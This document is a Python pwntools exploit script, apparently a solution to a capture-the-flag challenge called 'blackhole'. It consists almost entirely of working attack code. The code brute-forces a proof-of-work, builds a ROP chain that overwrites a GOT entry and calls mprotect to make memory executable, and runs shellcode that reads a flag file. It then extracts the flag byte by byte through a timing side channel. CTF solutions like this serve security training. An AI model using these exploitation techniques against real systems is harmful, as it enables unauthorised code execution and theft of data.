1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
|
from pwn import * import threading import string import random, string, subprocess, os, sys from hashlib import sha256
os.chdir(os.path.dirname(os.path.realpath(__file__)))
check_result = False
def check(offset, guess, method): global check_result check_result = False while True: p = remote('202.120.7.203', 666)
def pow(): chal = p.recvline()[:-1] print chal.encode('hex') for c1 in xrange(256): for c2 in xrange(256): for c3 in xrange(256): for c4 in xrange(256): sol = ''.join(map(chr, (c1, c2, c3, c4))) if sha256(chal + sol).hexdigest().startswith('00000'): p.send(sol) print sha256(chal + sol).hexdigest() return True return False
if pow() == True: break
output_buffer = ''
context.arch = 'amd64' elf = ELF('./blackhole')
pop6 = 0x400A4A mov_call = 0x400A30 bss = 0x601100 pop_rbp = 0x4007c0 leave_ret = 0x4009A5
def callfunc(func, arg1, arg2, arg3): rop = p64(pop6) rop += p64(0) + p64(1) + p64(func) + p64(arg3) + p64(arg2) + p64(arg1) rop += p64(mov_call) return rop
rop = 'a'*40 rop += callfunc(elf.got['read'], 0, bss, 320) rop += p64(0)*7 rop += p64(pop_rbp) + p64(bss - 8) + p64(leave_ret) rop = rop.ljust(0x100, 'a') output_buffer += rop
context.arch = 'amd64' shellcode = shellcraft.open('/home/blackhole/flag', constants.O_RDONLY) shellcode += shellcraft.read('rax', bss, 60) shellcode += "mov al, byte ptr [%s]; cmp al, %s;" % (hex(0x601100 + offset), hex(guess)) if method == 'equal': shellcode += "jne Exit;" elif method == 'smaller': shellcode += "jl Exit;" else: shellcode += "jg Exit;"
shellcode += "Loop:" shellcode += shellcraft.read(0, bss + 0x100, 0x10) shellcode += 'jmp Loop;' shellcode += 'Exit:' + shellcraft.exit(0) shellcode = asm(shellcode)
bss_rop = callfunc(elf.got['read'], 0, elf.got['alarm'], 1) bss_rop += callfunc(elf.got['read'], 0, bss, constants.SYS_mprotect) bss_rop += callfunc(elf.got['alarm'], 0x601000, 0x1000, 0x7) bss_rop += callfunc(elf.got['read'], 0, bss, len(shellcode)) bss_rop += p64(0)*7 bss_rop += p64(bss) output_buffer += bss_rop output_buffer += '\x85' + 'a' * constants.SYS_mprotect output_buffer += shellcode
old_time = time.time() p.send(output_buffer.ljust(0x800, 'f'))
try: for i in xrange(5): p.sendline('hack you') print("hack you") time.sleep(1) times = i p.close() except Exception as e: times = i p.close()
if times > 3: check_result = True def binSearch(offset, start, end): while start < end: print start, end, chr(start), chr(end) medium = (start + end) / 2 check(offset, medium, 'equal') if check_result: return medium check(offset, medium, "smaller") if check_result: start, end = medium, end else: start, end = start, medium return start
flag = 'flag{even_black_holes_leak_information_by_Hawking_radiation}' for i in range(len(flag), 60): result = binSearch(i, 33, 128) flag += chr(result) log.info("flag is " + flag)
|